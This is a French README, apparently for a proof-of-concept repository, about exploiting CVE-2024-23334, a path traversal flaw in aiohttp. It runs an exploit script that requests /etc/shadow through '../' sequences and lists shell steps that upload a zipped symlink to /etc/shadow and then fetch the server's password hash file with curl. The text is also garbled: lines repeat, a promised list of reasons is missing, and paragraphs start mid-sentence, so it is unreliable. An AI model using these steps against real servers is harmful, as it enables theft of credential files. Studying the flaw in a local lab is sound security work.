
Ce dépôt contient une preuve de concept concernant l'exploitation de la bibliothèque aiohttp pour la vulnérabilité signalée CVE-2024-23334.
Ce dépôt contient une preuve de concept concernant l'exploitation de la bibliothèque aiohttp pour la vulnérabilité rapportée CVE-2024-23334.
Il a été créé pour deux raisons :
Pour plus d'informations, visitez mon site web : https://brianre.dev/
make build
make run
Si vous souhaitez exécuter docker en mode détaché, exécutez simplement :
make rund
python3 exploits/exploit_path_traversal.py
En exécutant le script, nous effectuons une requête HTTP brute vers le serveur. Nous procédons ainsi et non en utilisant curl ou en accédant directement au navigateur car ces outils incluent l'assainissement et la normalisation des URL avant d'envoyer la requête HTTP. Cela inclut la normalisation du chemin : des outils comme curl et les navigateurs traitent le chemin de l'URL, supprimant les séquences comme .. utilisées pour le directory traversal. Par conséquent, un chemin comme /static/../../../../../../../../../../../../etc/shadow sera normalisé en /etc/shadow, et comme un tel chemin n'existe généralement pas en tant que ressource sur un serveur web standard, cela entraîne une erreur 404.
/etc/shadow, a déjà été créé. Ce scénario est le plus improbable, mais il est possible qu'une personne interne à l'entreprise puisse divulguer des informations en utilisant cela et que les gens ne vérifient pas les journaux statiques. Et si l'accès aux fichiers statiques n'est pas journalisé, il est très difficile d'identifier quand cela a été divulgué.Le scénario créé dans ce dépôt a simplement pour but d'expliquer la vulnérabilité et de prouver qu'elle existe et est toujours exploitable.
/etc/shadow.La manière de procéder consiste à utiliser un fichier compressé, afin de pouvoir télécharger le lien symbolique et, une fois décompressé sur le serveur, il génère ce même lien symbolique. Télécharger un lien symbolique directement via curl en tant que fichier link.jpeg lira uniquement le fichier local ciblé par le lien symbolique et téléchargera le fichier original à la place. Donc, si nous voulons cibler un chemin spécifique du système de fichiers du serveur, nous devons être capables de télécharger un fichier compressé, comme .zip ou .tar.gz.
Pour reproduire ce deuxième scénario, vous devez suivre ces étapes :
touch /etc/shadow # Cela crée un fichier sur votre machine dans le répertoire spécifié. Assurez-vous de ne pas remplacer un fichier existant.
ln -s /etc/shadow exploit.jpeg # Crée un lien symbolique vers le fichier /etc/shadow et le nomme exploit.jpeg
zip -y images.zip exploit.jpeg # Compresse le lien symbolique dans une archive zip
curl -X POST -F "[email protected]" http://localhost:8080/upload # Télécharge le fichier zip
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Accède au lien symbolique et, comme aiohttp présente la vulnérabilité, il renvoie le fichier /etc/shadow du serveur.
TODO
Pour configurer le projet localement en vue du développement, vous devez :
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt